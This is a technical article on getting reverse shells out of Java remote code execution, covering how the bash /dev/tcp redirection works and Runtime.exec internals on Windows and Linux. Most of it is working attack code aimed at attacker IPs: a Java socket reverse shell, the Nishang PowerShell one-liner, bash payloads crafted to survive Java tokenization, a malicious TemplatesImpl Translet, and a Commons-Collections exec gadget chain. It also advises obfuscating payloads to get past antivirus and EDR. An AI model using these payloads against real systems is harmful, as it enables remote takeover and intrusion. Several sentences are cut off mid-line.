Comprehensive Analysis of RevShell Techniques in Java RCE Scenarios


Preface

I’ve been researching Java RCE for a long time. Many PoCs simply run calc locally to pop a calculator, but that doesn’t explore the variety of RCE exploitation techniques. This article documents dif[…]

Linux reverse-shell command breakdown

Example:

bash -i >& /dev/tcp/10.10.11.11/9001 0>&1

Role of &

  • Without &, < or > followed by a token is treated as a filename redirect.
    • 1> out.txt redirects stdout to a file named out.txt.
  • With &, < or > followed by a number refers to a file descriptor.

Semantics:

  • >&m means “redirect … to the file that file descriptor m points to”.
  • <&m means “read … from the file that file descriptor m points to”.

Command interpretation

  • The full, explicit form of the example is:
    bash -i > /dev/tcp/10.10.11.11/9001 2>&1 0>&1
  • Shell processes redirections left-to-right.

Step-by-step:

  1. bash -i starts a new interactive shell.
  2. > (shorthand for 1>) redirects standard output to the pseudo-device /dev/tcp/10.10.11.11/9001.
    • fd 1 (stdout) -> TCP socket
    • fd 2 (stderr) -> screen (unchanged)
    • fd 0 (stdin) -> keyboard (unchanged)
  3. 2>&1 makes stderr point to the same place as fd 1 (the TCP socket).
  4. 0>&1 makes stdin point to the same place as fd 1 (the TCP socket).

After these steps:

  • fd 1 (stdout) -> TCP socket
  • fd 2 (stderr) -> TCP socket
  • fd 0 (stdin) -> TCP socket

Thus all stdin/stdout/stderr of the newly launched interactive bash are connected to the TCP socket — a reverse shell.

Notes:

  • >& merges output redirections (stdout and stderr).
  • <& merges read/redirects for stdin/stdout.
  • 0>&1 and 0<&1 produce the same final effect (make fd 0 and fd 1 refer to the same underlying stream or pipe).

Equivalent form:

bash -i >& /dev/tcp/10.10.11.11/9001 0<&1

Java Runtime.exec() internals (Windows)

On Windows, Java’s Runtime.exec() has several overloads. Regardless of whether you call the String or String[] versions, they eventually call:

public Process exec(String[] cmdarray, String[] envp, File dir) throws IOException {
    return new ProcessBuilder(cmdarray)
        .environment(envp)
        .directory(dir)
        .start();
}

Quick test program:

package com.lingx5.windows;

import java.io.IOException;
import java.io.InputStream;

public class ExecTest {
    public static void main(String[] args) throws IOException {
        InputStream inputStream = Runtime.getRuntime().exec("ipconfig /all").getInputStream();
        byte[] bytes = new byte[1024];
        int bytesRead;
        while ((bytesRead = inputStream.read(bytes)) != -1) {
            System.out.print(new String(bytes, 0, bytesRead, "GBK"));
        }
    }
}

Flow:

  • Runtime.exec(String) tokenizes the command string using java.util.StringTokenizer (delimiters: whitespace).
  • It builds a String[] (cmdarray) and calls the exec that uses ProcessBuilder.
  • ProcessBuilder.start() eventually calls java.lang.ProcessImpl.start.
  • On Windows, ProcessImpl#create (a native method) is invoked, which uses CreateProcessW to spawn the process and wire up std handles (stdin/stdout/stderr).

Native entry (simplified C pseudocode excerpt):

Java_java_lang_ProcessImpl_create(JNIEnv *env, jclass ignored,
                                  jstring cmd,
                                  jstring envBlock,
                                  jstring dir,
                                  jlongArray stdHandles,
                                  jboolean redirectErrorStream)
{
    // prepare strings and handles...
    ret = processCreate(env, pcmd, penvBlock, pdir, handles, redirectErrorStream);
    // release resources...
    return ret;
}

processCreate constructs STARTUPINFO, configures std handles, then calls CreateProcessW(...) to actually launch the child process. The result is a process handle (and stdHandles used for IO betwee[…]

Because the execution eventually hits CreateProcessW, any command you provide (when passed through Java’s APIs) ultimately runs as a normal child process on Windows. That is why we can use reflectio[…]

Reflection examples

  • Using the private ProcessImpl constructor:
package com.lingx5.windows;

import java.lang.reflect.Constructor;

public class CreateTest {
    public static void main(String[] args) throws Exception {
        Class<?> pc = Class.forName("java.lang.ProcessImpl");
        Constructor<?> constructor = pc.getDeclaredConstructor(String[].class, String.class,
                String.class, long[].class, boolean.class);
        constructor.setAccessible(true);
        constructor.newInstance(new String[] {"calc"}, null, null, new long[]{-1L,-1L,-1L}, false);
    }
}
  • Calling the static native create method directly:
package com.lingx5.windows;

import java.lang.reflect.Method;

public class CreateWithStatic {
    public static void main(String[] args) {
        try {
            Class<?> processC = Class.forName("java.lang.ProcessImpl");
            Method create = processC.getDeclaredMethod("create", String.class, String.class,
                    String.class, long[].class, boolean.class);
            create.setAccessible(true);
            create.invoke(null, "calc", null, null, new long[]{-1L,-1L,-1L}, false);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Linux native path

On Linux the flow is similar but uses a different native function (e.g. forkAndExec) to create processes. The end result is the same: Java launches OS processes and wires up std handles.

Windows reverse shell techniques

Two common approaches:

  1. Create a socket to an attacker and bridge process stdio to that socket.
  2. Use command-based reverse shells (powershell/cmd) executed by Runtime.exec.

Socket-based Java reverse shell (Windows example)

package com.lingx5.windows;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JavaSocketRevShell {
    private void pumpStream(InputStream in, OutputStream out) {
        new Thread(() -> {
            try {
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = in.read(buffer)) != -1) {
                    out.write(buffer, 0, bytesRead);
                    out.flush();
                }
            } catch (IOException e) {
            } finally {
                try {
                    in.close();
                    out.close();
                } catch (IOException ignored) {}
            }
        }).start();
    }

    public void conn(String host, int port, String... cmd) throws Exception {
        try (Socket socket = new Socket(host, port)) {
            ProcessBuilder pb = new ProcessBuilder(cmd);
            Process process = pb.start();

            pumpStream(socket.getInputStream(), process.getOutputStream());
            pumpStream(process.getInputStream(), socket.getOutputStream());
            pumpStream(process.getErrorStream(), socket.getOutputStream());
            process.waitFor();
        } catch (Exception e) {
        }
    }

    public static void main(String[] args) {
        try {
            new JavaSocketRevShell().conn("10.10.11.11", 9001, "powershell.exe");
        } catch (Exception e) {
        }
    }
}
  • For cmd.exe interactive shell, add /k:
new JavaSocketRevShell().conn("10.10.11.11", 9001, "cmd.exe", "/k");

PowerShell one-liners

  • PowerShell is powerful for reverse shells and supports redirection. Examples like Nishang’s one-liners are commonly used:
$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
};
$client.Close()

Java can simply execute such a one-liner:

public class ExecRevShell {
    public static void main(String[] args) throws Exception {
        String ip = "'10.10.11.11'";
        int port = 9001;
        String cmd = "$client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+");"
                   + "$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};"
                   + "while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){"
                   + "  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);"
                   + "  $sendback = (iex $data 2>&1 | Out-String );"
                   + "  $sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';"
                   + "  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);"
                   + "  $stream.Write($sendbyte,0,$sendbyte.Length);"
                   + "  $stream.Flush()"
                   + "};$client.Close()";
        Runtime.getRuntime().exec("powershell.exe " + cmd);
    }
}
  • Note: many AV/EDR products flag such payloads; use caution and payload obfuscation as needed.

Linux reverse shells

Socket-based approach (same Java code as above) — just call bash -i instead:

new JavaSocketRevShell().conn("10.10.11.11", 9001, "bash", "-i");

Bash-based reverse shells

  • You can run:
bash -c 'bash -i >& /dev/tcp/10.10.11.11/9001 0>&1'

Java considerations: Runtime.exec(String) tokenizes input by whitespace (StringTokenizer), so it’s often necessary to pass a String[] to preserve grouping and quoting. Example Java:

public class ExecRevShell {
    public static void main(String[] args) {
        try {
            String[] cmd = new String[]{
                "bash",
                "-c",
                "bash -i >& /dev/tcp/10.10.11.11/9001 0>&1"
            };
            java.lang.Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Constructing a payload that survives Java tokenization

  • bash -c semantics (from man bash): the first non-option argument after -c is read as the command string. Any further arguments are assigned to $0, $1, $2, ....
  • $@ expands to separate positional parameters ($1, $2, …), while $* expands them joined into a single string (subject to quoting differences: "$@" vs "$*" matter).
  • The shell evaluation order:
    1. Parsing/tokenizing.
    2. Process I/O redirections (left-to-right).
    3. Variable/parameter expansion.
    4. Execution.

Because Java’s StringTokenizer splits on whitespace before bash sees things, naive payloads can break. Example of a broken payload (don’t use):

bash -c "$*" 0 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
  • After Java tokenization, $* is filled as a single string, and bash treats it such that redirection operators inside the filled string won’t be interpreted, leading to errors like:
    bash -i >& /dev/tcp/10.10.11.11/9001 0>&1: No such file or directory

Correct approach using pipe (|) and $@/$*

  • Use | bash to make the filled-in string be passed through stdout and be parsed by a new spawn of bash (so its redirections are interpreted).
  • Examples:
bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
bash -c $*|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
  • Java’s StringTokenizer will produce tokens such that $@ is expanded into separate words and the | is still recognized by the shell to pipe the output into a fresh bash, which then parses the[…]

Using reverse shells with deserialization exploits

When combining reverse shells with Java deserialization vulnerabilities, there are two main patterns:

  1. Class-loading-based command execution (e.g., TemplatesImpl chains: CC3/CC4)
    • TemplatesImpl#newTransformer() will define and initialize classes embedded as bytecodes — static initializers execute on class loading.
    • Example payload: create a malicious Translet class that launches a reverse shell from a static initializer, then embed its bytecode into a TemplatesImpl instance and trigger the gadget chain.

Malicious Translet example (JavaSocketRevShell as Translet)

package com.lingx5.windows;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JavaSocketRevShell extends AbstractTranslet {
    private static void pumpStream(InputStream in, OutputStream out) {
        new Thread(() -> {
            try {
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = in.read(buffer)) != -1) {
                    out.write(buffer, 0, bytesRead);
                    out.flush();
                }
            } catch (IOException e) {
            } finally {
                try {
                    in.close();
                    out.close();
                } catch (IOException ignored) {}
            }
        }).start();
    }

    public static void conn(String host, int port, String... cmd) throws Exception {
        try (Socket socket = new Socket(host, port)) {
            ProcessBuilder pb = new ProcessBuilder(cmd);
            Process process = pb.start();
            pumpStream(socket.getInputStream(), process.getOutputStream());
            pumpStream(process.getInputStream(), socket.getOutputStream());
            pumpStream(process.getErrorStream(), socket.getOutputStream());
            process.waitFor();
        } catch (Exception e) {
        }
    }

    static {
        new Thread(() -> {
            try {
                conn("10.10.11.11", 9001, "powershell.exe");
            } catch (Exception e) {
            }
        }).start();
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}
  • Important: starting the reverse-shell in a new thread inside the static initializer helps avoid JVM resource cleanup that might otherwise close sockets immediately.

CC3 chain example (constructing a TemplatesImpl gadget)

// Outline (see original code for full details)
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "evil");
setField(templates, "_bytecodes", new byte[][] { evilClassBytes });
// Build gadget chain that ends up calling new TemplatesImpl(...)/TrAXFilter
// Serialize and then deserialize to trigger class loading and static initializer execution.
  1. Direct command execution gadgets (e.g., Commons-Collections CC1/CC6)
    • These chains usually lead to Runtime.getRuntime().exec(...) invocation.
    • Example: CC6-like gadget that constructs a chained transformer to call Runtime.getRuntime().exec(cmd).

Example CC6-like chain (conceptual)

String ip = "'10.10.11.11'";
int port = 9001;
String cmd = "powershell.exe $client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+"); ...";

Transformer[] transformers = {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
// build ChainedTransformer and wrap in LazyMap/TiedMapEntry, serialize and deserialize...

Other gadget types (Fastjson, ysoserial CB chains, etc.) can also be used to reach the same execution primitives — either class-loading static initializers or reflective invocation of `Runtime.exec([…]

Closing notes

  • The Java platform executes OS processes via native calls (CreateProcessW on Windows and fork/exec on Unix). Understanding how Java tokenizes commands and how shells parse/expand commands is crit[…]
  • When crafting payloads, pay attention to quoting, how Java splits tokens, and how the target shell will later parse and expand parameters and redirections.
  • Deserialization exploit chains generally boil down to two families of approaches: (1) inject executable bytecode (class-loading) that runs in static initializers; (2) build a reflective call chain t[…]
  • Anticipate defense mechanisms (AV/EDR), and test payloads in controlled lab environments.

Acknowledgements and references

  • Nishang project for PowerShell one-liners: https://github.com/samratashok/nishang
  • ysoserial and common gadget-chain references for Commons-Collections, TemplatesImpl, and more.
  • Java native process implementation sources and Microsoft docs for CreateProcess.